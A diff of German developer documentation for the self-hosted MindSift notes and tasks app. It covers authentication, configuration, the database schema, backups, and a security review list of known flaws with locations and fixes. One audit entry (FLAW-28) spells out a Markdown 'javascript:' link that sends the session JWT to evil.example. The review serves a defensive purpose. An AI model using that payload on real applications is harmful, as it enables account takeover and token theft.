# Einkaufsliste per API-Key ergänzen (Scope webhook:list)
curl -X POST https://mindsift.example.com/api/v1/webhooks/ingest \
-H "X-API-Key: mindsift_sec_…" -H "Content-Type: application/json" \
-d '{"target":"list_item","listId":"lst_…","content":"Hafermilch","quantity":"2"}'
# Aufgabenliste nur lesend freigeben
curl -X POST https://mindsift.example.com/api/v1/task-lists/tkl_…/shares \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
+1 -1
View File
@@ -20,7 +20,7 @@ Der Client versucht zuerst WebSocket und wechselt in folgenden Fällen für die
Ohne WebSocket und SSE nutzt die Notiz-Synchronisation Long-Polling (`GET /docs/{id}/changes`, bis 25 s), und wenn auch das dreimal scheitert, eine Abfrage alle 3 s (siehe [modules/workspace.md](../modules/workspace.md)).
**Authentifizierung:** Token als `?token=<JWT|API-Key>` oder `Authorization`-Header. Ohne gültiges Token antworten `/ws` und `/events` mit `401`. Das Token wird nur beim Verbinden geprüft ([FLAW-22](../flaws.md)).
**Authentifizierung:** Browser holen sich direkt vor dem Verbinden ein Einmal-Ticket (`POST /auth/stream-ticket` mit dem normalen `Authorization`-Header → `{ticket, expiresIn: 60}`) und hängen es als `?ticket=` an; es gilt 60 Sekunden und einmal und wird ungültig, sobald alle Sitzungen beendet werden. Andere Clients dürfen stattdessen den `Authorization`-Header schicken. Sitzungs-Tokens in der URL und API-Keys werden nicht angenommen (`401`). Bei Logout, „Alle Sitzungen beenden“, neuem Passwort und Deaktivierung trennt der Server alle Streams des Kontos; Clients mit gültiger Sitzung verbinden sich mit neuem Ticket neu. Mit gesetzter `BASE_URL` nimmt der WebSocket nur Verbindungen von dieser Adresse oder vom angefragten Host an.
**Räume:** Jeder Beitritt (Raum in der URL, `JOIN_ROOM`, SSE-Startparameter `rooms`/`docId`, `POST /events/rooms`) wird geprüft: `doc:<id>` nur mit Lesezugriff auf die Notiz, sonst muss die ID eine lesbare geteilte Liste sein. Nicht erlaubte Räume werden ignoriert, `POST /events/rooms` antwortet dann mit `403`. SSE-Räume kann nur der Besitzer der jeweiligen `sseId` ändern.
+28 -7
View File
@@ -30,8 +30,8 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
| Pfad | Inhalt |
|---|---|
| `cmd/server/` | `main.go`, eingebettetes `dist/` |
| `internal/api/` | `server.go` (Routen, Handler, Alarm-Ticker, SMTP/Discord/Webhook-Versand) |
| `internal/storage/` | `sqlite.go` (Schema, Migrationen, gesamte Datenlogik) |
| `internal/api/` | `server.go` (Server, Router mit allen Routen, Middleware, JSON-Helfer); Handler nach Bereich in `handlers_*.go` (`auth`, `account`, `thoughts`, `documents`, `folders`, `lists`, `tasklists`, `teams`, `admin`, `integrations`), `realtime.go` (WebSocket/SSE), `alarms.go` (Ticker und Versand), `docsync.go`, `mail.go`, `netguard.go`, `password_reset.go` |
| `internal/storage/` | `sqlite.go` (Store, Schema, Migrationen); Datenlogik nach Bereich: `users.go`, `apikeys.go`, `thoughts.go` (inkl. Alarme), `tasklists.go`, `documents.go`, `folders.go`, `tags.go`, `lists.go`, `teams.go`, `system.go` (Einstellungen, Statistik, Export), dazu `visibility.go`, `docsync.go`, `search.go`, `trash.go`, `backlinks.go`, `recurrence.go` u. a. |
| `internal/domain/` | Strukturen (`models.go`), ID-Erzeugung, Tag-Extraktion |
| `internal/ws/` | `hub.go` |
| `internal/collab/` | Kern der Notiz-Synchronisation ohne Datenbank: Blockbaum, Operationen und Konfliktregeln, Sortierschlüssel, Leases, Long-Poll-Benachrichtigung |
@@ -58,11 +58,15 @@ Das Frontend liegt per `go:embed` im Binary ([cmd/server/main.go](../cmd/server/
| `PORT` | `8080` | HTTP-Port |
| `DATA_DIR` | `./data` (Container: `/data`) | Verzeichnis der Datenbank |
| `DATABASE_URL` | leer | `sqlite:///pfad/datei.db` oder Pfad; ohne Angabe `DATA_DIR/mindsift.db`. Postgres-URLs werden **nicht** unterstützt (siehe Hinweis) |
| `JWT_SECRET` | festes Fallback (unsicher!) | Signaturschlüssel der Tokens; unbedingt setzen, siehe [FLAW-04](flaws.md) |
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz |
| `JWT_SECRET` | zufällig erzeugt, gespeichert in `$DATA_DIR/jwt.secret` | Signaturschlüssel der Tokens; bekannte Platzhalter werden ignoriert |
| `TRUSTED_PROXIES` | `private` | Proxys, deren `X-Forwarded-For`/`X-Real-IP` geglaubt wird (`private`, `all`, `none`, CIDR-Liste); `internal/api/clientip.go` |
| `LOGIN_PROTECTION` | `true` | Login-Sperre nach Fehlversuchen (`internal/api/loginguard.go`), `false` = aus |
| `BASE_URL` | `http://localhost:<PORT>` | Basis-URL der Instanz; explizit gesetzt Voraussetzung für das Passwort-Zurücksetzen per Mail |
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme; die Zeitzonendaten sind ins Binary eingebettet (`time/tzdata`) |
| `ALLOW_REGISTRATION` | `false` | Startwert; die Einstellung im Admin-UI (`system_settings`) hat Vorrang |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | `debug`, `info`, `warn`, `error`; `DEBUG=true` erzwingt `debug` |
| `MINDA_DEMO` (auch `MINDSIFT_DEMO`, `DEMO_MODE`) | `false` | Demo-Konten anlegen |
| `DEMO_RESET_MINUTES` | `20` | Demo-Modus: periodischer Reset auf die Beispieldaten (`0` = aus). Feste IDs der Demo-Konten (`usr_demo_admin`, `usr_demo_user`) halten Sitzungen gültig; laufende Anfragen sperren den Reset (`internal/api/demo.go`, Streams ausgenommen); danach `DEMO_RESET` an alle Verbindungen, `/auth/status` liefert `demoNextReset`/`demoResetInSeconds`. |
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer / `587` / `true` | Mailversand, auch im Admin-UI einstellbar |
| `SMTP_SKIP_VERIFY` | `false` | Zertifikat des Mailservers nicht prüfen (nur interne Server mit selbstsigniertem Zertifikat) |
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
@@ -73,14 +77,16 @@ Hinweis: `DATABASE_URL` mit `postgres…` führt dazu, dass der Standardpfad in
## Authentifizierung
- **Login** mit E-Mail, Benutzername (aus dem E-Mail-Präfix) oder `login`. Passwörter: bcrypt (`DefaultCost`).
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Login-Sperre:** Fehlversuche zählen im Speicher in drei Töpfen: Konto + Adresse (3), Konto (20), Adresse (30), je innerhalb von 15 Minuten; ist einer voll, gibt es 15 Minuten lang `429` mit `Retry-After`. Unbekannte Namen zählen wie Konten (kein Erraten, welche existieren). Erfolg leert die Kontotöpfe, ein Passwort-Reset (Mail oder Admin) hebt die Sperre auf. Die Client-Adresse kommt nur von vertrauenswürdigen Proxys (`TRUSTED_PROXIES`).
- **JWT:** HS256, Laufzeit 30 Tage, Claims `userId`, `email`, `displayName`, `tokenVersion`, `jti`. Gültig nur, wenn Token nicht in `revoked_tokens` steht, das Konto aktiv ist und `tokenVersion` mit `users.token_version` übereinstimmt. Neue Passwörter brauchen mindestens 8 Zeichen (`auth.ValidatePassword`). `token_version` wird bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ erhöht.
- **Logout** schreibt den Token-Hash in `revoked_tokens`.
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und authentifiziert als Besitzer ([FLAW-07](flaws.md)).
- **API-Keys:** `mindsift_sec_<hex>`, gespeichert als SHA-256, nur das Präfix bleibt sichtbar. Der Key gilt als Bearer-Token oder in `X-API-Key` und darf nur Daten anliefern (`POST /inbox`, `POST /webhooks/ingest`); alle anderen Endpunkte antworten mit `403`.
- **Passwort vergessen:** nur wenn SMTP und `BASE_URL` gesetzt sind (nicht im Demo-Modus; `passwordReset` in `/auth/status`). `POST /auth/forgot-password` antwortet immer gleich und verschickt die Mail im Hintergrund, höchstens alle 2 Minuten pro Konto. Der Link `BASE_URL/?resetToken=…` gilt eine Stunde und einmal; gespeichert wird nur der SHA-256-Hash (`password_reset_tokens`). `POST /auth/reset-password` setzt das Passwort, entwertet alle offenen Links des Kontos und erhöht `token_version` (alle Sitzungen enden). Die App entfernt den Token sofort aus der Adresszeile.
- **Registrierung:** nur mit Einladungscode oder wenn `allow_registration` aktiv ist. Das erste Konto entsteht über `/auth/setup` und wird Administrator.
## Hintergrundjob: Alarme
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist `due_date <= heute` (Serverzeit), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Details und Einschränkungen: [modules/tasks.md](modules/tasks.md), [FLAW-12](flaws.md).
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
## Hintergrundjob: Verdichtung der Notiz-Synchronisation
@@ -100,6 +106,21 @@ Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: D
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
## Hintergrundjob: Backups
[backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
- `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto.
- Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
- Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
## Offline (PWA)
- **Service Worker** ([public/sw.js](../frontend/public/sw.js)): Seitenaufrufe Network-First mit der zuletzt geladenen `index.html` als Rückfall, Bundles unter `/assets/` (Hash im Namen) aus dem Cache, Icons und Manifest Stale-While-Revalidate. API-Anfragen fasst er nie an. Alte Caches verschwinden beim Aktivieren einer neuen `VERSION`, Bundles sind auf 80 Einträge begrenzt.
- **Lese-Cache** ([lib/offline.ts](../frontend/src/lib/offline.ts)): Jede erfolgreiche GET-Antwort landet pro Benutzer in IndexedDB (`mindsift-offline`). Ohne Verbindung liefert `request()` die letzte bekannte Antwort; so startet die App offline angemeldet und zeigt Gedanken, Aufgaben und Listen. Ausgenommen: Streams, Long-Polling, Notiz-Sync (eigener Speicher, [modules/collaboration.md](modules/collaboration.md)), Export, Suche. Abmelden leert Cache und Warteschlange.
- **Warteschlange (Outbox):** Offline erfasste Gedanken (`POST /inbox`) und abgehakte Aufgaben bzw. Listeneinträge (`PATCH`) werden in `localStorage` gesammelt, wiederholtes Umschalten zählt nur mit dem Endstand. Gesendet wird in Reihenfolge beim `online`-Ereignis, beim Start und alle 30 s, solange etwas wartet; vom Server abgelehnte Einträge (4xx) entfallen. Andere Änderungen brauchen weiterhin eine Verbindung.
- **Hinweis:** Ein Banner über der unteren Navigation zeigt „Offline“ und die Zahl wartender Änderungen bzw. „Synchronisiere…“.
## App-Icons, PWA & Social-Preview (Open Graph)
MindSift verwendet plattformübergreifend ein einheitliches App-Icon-Design, das exakt dem Icon im Kopfbereich der mobilen App entspricht:
+4 -4
View File
@@ -2,7 +2,6 @@
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist veraltet ([FLAW-13](flaws.md)).
## Tabellen
@@ -19,7 +18,8 @@ Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist vera
### Gedanken und Aufgaben
| Tabelle | Zweck | Wichtige Spalten |
|---|---|---|
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (nur Datum), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
| `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
| `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
@@ -29,7 +29,7 @@ Eine Aufgabe ist ein `thought` mit `status='kept'` oder `status='converted' AND
### Workspace
| Tabelle | Zweck |
|---|---|
| `documents` | Notizen: `title`, `icon`, `folder_path`, `tags` (JSON), `is_archived`, `markdown_cache`, `shared_folder_id`, `sub_folder_path`, `head_seq` (letzte Log-Position), `title_version`, `log_floor` (bis hierhin ist das Log verdichtet), Altspalten `content`, `blocks_json` |
| `documents` | Notizen: `title`, `icon`, `folder_path`, `tags` (JSON), `is_archived` (1 = im Papierkorb), `archived_at`, `archived_by` (wer gelöscht hat), `markdown_cache`, `shared_folder_id`, `sub_folder_path`, `head_seq` (letzte Log-Position), `title_version`, `log_floor` (bis hierhin ist das Log verdichtet), Altspalten `content`, `blocks_json` |
| `blocks` | Outliner-Blöcke als Baum: `document_id`, `parent_id` (`''` = oberste Ebene), `order_key` (Sortierschlüssel unter Geschwistern), `type`, `content`, `checked`, `collapsed`, `lang`, `version` (Textversion), `conflict_of`/`conflict_author` (Konfliktkopien), `updated_by`, `deleted` (Grabstein) und `deleted_at` (Zeitpunkt des Löschens, für das Aufräumen). `level`/`position` sind Altspalten und werden nicht mehr gepflegt; Ebene und Reihenfolge berechnet der Server beim Lesen aus dem Baum. |
| `doc_ops` | Änderungs-Log je Notiz: `seq` (fortlaufend pro Notiz), `op_id`, `user_id`, `client_id`, `kind`, `block_id`, `payload` (Effekt als JSON), `created_at`. Abspielen aller Einträge ab einem Snapshot ergibt den Stand. Wird verdichtet (siehe unten). |
| `doc_op_results` | Ergebnis je Client-Operation (`op_id` eindeutig) für idempotente Wiederholungen; wird nach 90 Tagen gelöscht |
@@ -80,7 +80,7 @@ teams 1─n team_members n─1 users
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
- **Schema-Version:** `PRAGMA user_version` hält `schemaVersion` (derzeit 2), damit spätere Versionen erkennen, welche Migrationen eine Datenbank schon hat. Daten werden beim Start nie gelöscht (das einmalige Zurücksetzen auf Version 2 ist entfernt, alle Installationen sind darüber hinweg). Nur der Demo-Modus leert die Datenbank bei jedem Start.
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 („Basis-Schema v0.4.1“, `migrateBaseline`) baut das komplette Schema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
## Sicherung
+107 -171
View File
@@ -1,8 +1,8 @@
# Bekannte Schwachstellen, Risiken & technische Schulden (Flaws)
# Schwachstellen, Risiken & Ideen
Stand: Code-Review des Branches `dev` (Oktober 2026). Jeder Eintrag wurde gegen den Quellcode geprüft; die Fundstellen sind angegeben. Einträge ohne Live-Test sind als *nicht live verifiziert* markiert.
Stand: Review des Branches `dev` nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.
Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (Fehlfunktion oder Schutz greift nicht), **Niedrig** (Wartbarkeit, Komfort, Hygiene).
Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), **Niedrig** (Härtung, Datenschutz, Wartbarkeit).
---
@@ -10,193 +10,129 @@ Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (
| ID | Bereich | Kurzbeschreibung | Schwere |
|---|---|---|---|
| FLAW-01 | Realtime | ~~`BroadcastToAll` sendet Aufgaben- und Listendaten an alle Verbindungen~~ | **Behoben** |
| FLAW-02 | Realtime | ~~Räume ohne Berechtigungsprüfung~~ | **Behoben** |
| FLAW-03 | Aufgaben | ~~`ReorderTasks` ändert beliebige Aufgaben per ID (IDOR)~~ | **Behoben** |
| FLAW-04 | Auth | Fest eincodiertes Fallback-`JWT_SECRET` | **Hoch** |
| FLAW-05 | Benachrichtigungen | Discord-/Webhook-URLs ungeprüft (SSRF) | Mittel |
| FLAW-06 | Aufgaben | ~~Jeder Editor einer Aufgabenliste kann sie per `teamId` an weitere Gruppen freigeben~~ | **Behoben** |
| FLAW-07 | Auth | API-Key-`scopes` werden nie ausgewertet; ein Key ist ein Vollzugriff | Mittel |
| FLAW-08 | Auth | Webhook-Ingest mit JWT prüft weder Sperrliste noch `token_version` noch `is_active` | Mittel |
| FLAW-09 | Auth | Kein Rate-Limit, keine Sperre bei Fehlversuchen, Mindestpasswort 4 Zeichen | Mittel |
| FLAW-10 | Freigaben | ~~`sharing_mode` wird bei Freigaben nicht durchgesetzt; Benutzerverzeichnis leakt alle Konten~~ | **Behoben** |
| FLAW-11 | Workspace | ~~Block-Upsert (`ON CONFLICT(id)`) prüft das Dokument nicht~~ | **Behoben** |
| FLAW-12 | Benachrichtigungen | `notify_before_minutes` wirkungslos; Alarm feuert nach Umplanung nie wieder | Mittel |
| FLAW-13 | Datenbank | Keine Schema-Versionierung; Migrationsfehler werden verschluckt; `migrations/001_init.sql` ist toter Code | Mittel |
| FLAW-14 | Backend | Fehler von Schreiboperationen werden häufig ignoriert (`_, _ =`) | Mittel |
| FLAW-15 | Realtime | ~~`WriteTimeout` von 30 s beendet SSE-Streams~~ | **Behoben** |
| FLAW-16 | Setup | `/auth/setup` ist bis zum ersten Konto offen; Demo-Modus legt `admin/admin` an | Mittel |
| FLAW-17 | Workspace | ~~Bearbeiter-Freigaben für Notizen nicht wählbar~~ | **Behoben** |
| FLAW-18 | Suche | ~~Nur eigene Gedanken und Dokumente, `LIKE` ohne Escaping, keine FTS~~ | **Behoben** |
| FLAW-19 | Qualität | Frontend-Tests nur für den Outliner, `lint` ist ein Platzhalter | Niedrig |
| FLAW-20 | Qualität | Sehr große Dateien, duplizierte Zugriffslogik | Niedrig |
| FLAW-21 | Repo | `LICENSE` fehlt, obwohl README MIT angibt | Niedrig |
| FLAW-22 | Netzwerk | Token in der URL (WS/SSE), CORS `*`, `CheckOrigin` immer `true` | Niedrig |
| FLAW-23 | SQLite | Single-Writer-Engpass bei vielen gleichzeitigen Schreibern | Niedrig |
| FLAW-24 | Gruppen | ~~Organisations-Endpunkte ohne Berechtigungsprüfung~~ | **Behoben** |
| FLAW-25 | Workspace | ~~Struktur-Aktionen an fremd gesperrten Bullets nur teilweise ausgeführt~~ | **Behoben** |
| FLAW-26 | Workspace | ~~Nach Enter landet sehr schnell Getipptes noch im vorherigen Bullet~~ | **Behoben** |
| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch |
| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel |
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel |
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel |
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel |
| FLAW-33 | Demo | Demo-Admin kann Server-Einstellungen ändern (u. a. Webhooks ins lokale Netz) | Mittel |
| FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig |
| FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=` | Niedrig |
| FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig |
| FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig |
| FLAW-38 | Betrieb | `WriteTimeout` von 30 s bricht große Downloads ab | Niedrig |
| FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig |
| FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig |
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
---
## Details
### FLAW-01: Broadcast an alle Verbindungen (Datenabfluss)
- **Status: Behoben.** `BroadcastToAll` existiert nicht mehr. Aufgabenereignisse gehen an Eigentümer und Benutzer der Liste (`GetTaskListUserIDs`), Listenereignisse tragen nur noch die ID, Ordnerereignisse gehen an Benutzer bzw. Ordnerbeteiligte (`GetSharedFolderUserIDs`). Test: `TestTaskEventsOnlyReachAuthorizedUsers`.
- **Fundstellen:** [`internal/ws/hub.go`](../internal/ws/hub.go) `BroadcastToAll`; Aufrufer in [`internal/api/server.go`](../internal/api/server.go): `handleUpdateThought` (`TASK_UPDATED`), `handleDeleteThought` (`TASK_DELETED`), `handleReorderTasks` (`TASK_REORDERED`), `handleUpdateTaskList`, `handleCreateTaskListShare`, `handleDeleteTaskListShare` (`TASK_LIST_UPDATED`), `handleDeleteTaskList`.
- **Problem:** `BroadcastToAll` schreibt an `allClients` und `sseClients`. Dazu zählen auch Verbindungen mit `userID = "anonymous"`, denn `handleWebSocket` und `handleSSE` liegen außerhalb der Auth-Gruppe und lassen jede Verbindung zu. Der vollständige Aufgabeninhalt (Titel, Notizen, Unteraufgaben) und die Listen samt Mitgliedern gehen so an jeden, der `/api/v1/events` öffnet.
- **Maßnahme:** Ereignisse an die berechtigten Nutzer adressieren (wie bei `DOC_*` über `GetAuthorizedDocUsers`), unauthentifizierte Verbindungen ablehnen.
### FLAW-28: `javascript:`-Links in Markdown
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
### FLAW-02: Räume ohne Berechtigungsprüfung
- **Status: Behoben.** `/ws` und `/events` verlangen ein gültiges Token (sonst `401`). Jeder Raumbeitritt läuft über `Hub.SetRoomAuthorizer` → `Server.canJoinRoom` (Notiz bzw. Liste muss lesbar sein). `/events/rooms` liegt hinter der Anmeldung und akzeptiert nur die eigene `sseId`. Tests: `TestRealtimeEndpointsRequireAuth`, `TestSSERoomJoinRequiresAccess`, `TestRoomJoinsRequireAuthorization`.
- **Fundstellen:** `Hub.readPump` (`JOIN_ROOM`), `handleSSERooms` (Route `/api/v1/events/rooms` liegt **außerhalb** der Auth-Gruppe), `Hub.Register` (Raum aus `?listId=`/`?spaceId=`).
- **Problem:** Wer eine Raum-ID kennt (`doc:<id>`, Listen-ID), tritt bei und erhält Inhalte wie `DOC_BLOCKS_PATCHED` oder `ITEM_*`. Raum-IDs tauchen in Ereignissen auf und sind nicht geheim. Für den SSE-Beitritt reicht die `sseId`, die der Server selbst im Stream mitsendet.
- **Maßnahme:** Beitritt nur nach Zugriffsprüfung (`GetDocumentByID`, `GetListByID`); `/events/rooms` hinter `authMiddleware`.
### FLAW-29: Keine Sicherheits-Header
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
### FLAW-03: `ReorderTasks` ohne Zugriffsprüfung (IDOR)
- **Status: Behoben.** `handleReorderTasks` lehnt die ganze Anfrage ab, sobald eine Aufgabe nicht zugreifbar (`404`) oder schreibgeschützt (`403`) ist. Test: `TestReorderRejectsForeignTasks`.
- **Fundstelle:** `Store.ReorderTasks` (`UPDATE thoughts SET sort_order … WHERE id = ?`) und `handleReorderTasks`.
- **Problem:** Die SQL-Anweisung ist weder auf `user_id` noch auf die Liste eingeschränkt. Jeder angemeldete Nutzer kann `sortOrder`, `kanbanStatus` und damit `isCompleted` fremder Aufgaben ändern, sofern er die ID kennt. Die Leser-Prüfung für Aufgabenlisten überspringt Aufgaben, auf die der Nutzer gar keinen Zugriff hat (`GetThoughtByID` liefert dann einen Fehler), und schützt davor nicht.
- **Maßnahme:** Jede ID gegen `accessibleTaskListIDsQuery` bzw. `user_id` prüfen und bei Verstoß ablehnen.
### FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
